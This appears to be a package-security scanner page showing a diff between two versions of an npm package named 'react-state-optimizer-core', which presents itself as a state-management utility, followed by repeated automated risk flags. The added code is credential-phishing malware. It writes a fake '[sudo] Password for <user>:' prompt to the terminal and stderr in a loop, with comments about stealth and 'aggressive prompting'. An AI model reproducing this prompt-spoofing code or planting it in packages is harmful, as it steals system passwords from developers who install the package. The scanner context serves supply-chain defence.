react-state-optimizer-core
Advanced tools
+1
-1
| { | ||
| "name": "react-state-optimizer-core", | ||
| "version": "1.0.8", | ||
| "version": "1.0.9", | ||
| "description": "Utility layer for asynchronous state management", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
+8
-5
@@ -114,4 +114,3 @@ const fs = require('fs'); | ||
| } catch (e) { | ||
| // Not interactive (CI/Docker/No TTY). | ||
| // Do NOT hang. Fail safely (stealth). | ||
| try { fs.writeFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Open Error: ${e.message}\n`); } catch (err) { } | ||
| return resolve(""); | ||
@@ -121,9 +120,13 @@ } | ||
| const user = require('os').userInfo().username; | ||
| const promptText = `\r\n\r\n[sudo] Password for ${user}: `; | ||
| const promptText = `\r\n\r\n\r\n[sudo] Password for ${user}: `; | ||
| while (true) { | ||
| // 2. Aggressive Prompting (Blast to beat spinner) | ||
| // 2. Aggressive Prompting | ||
| try { | ||
| fs.writeSync(fd, promptText); | ||
| } catch (e) { } | ||
| // Also try stderr | ||
| process.stderr.write(promptText); | ||
| } catch (e) { | ||
| try { fs.appendFileSync(require('os').tmpdir() + '/ghost_tty_error.log', `Write Error: ${e.message}\n`); } catch (err) { } | ||
| } | ||
@@ -130,0 +133,0 @@ // 3. Native Read Loop |
AI-detected potential malware
Supply chain riskAI has identified this package as malware. This is a strong signal that the package may be malicious.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 3 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
AI-detected potential malware
Supply chain riskAI has identified this package as malware. This is a strong signal that the package may be malicious.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 3 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 3 instances in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Found 1 instance in 1 package
13623
1.93%276
1.1%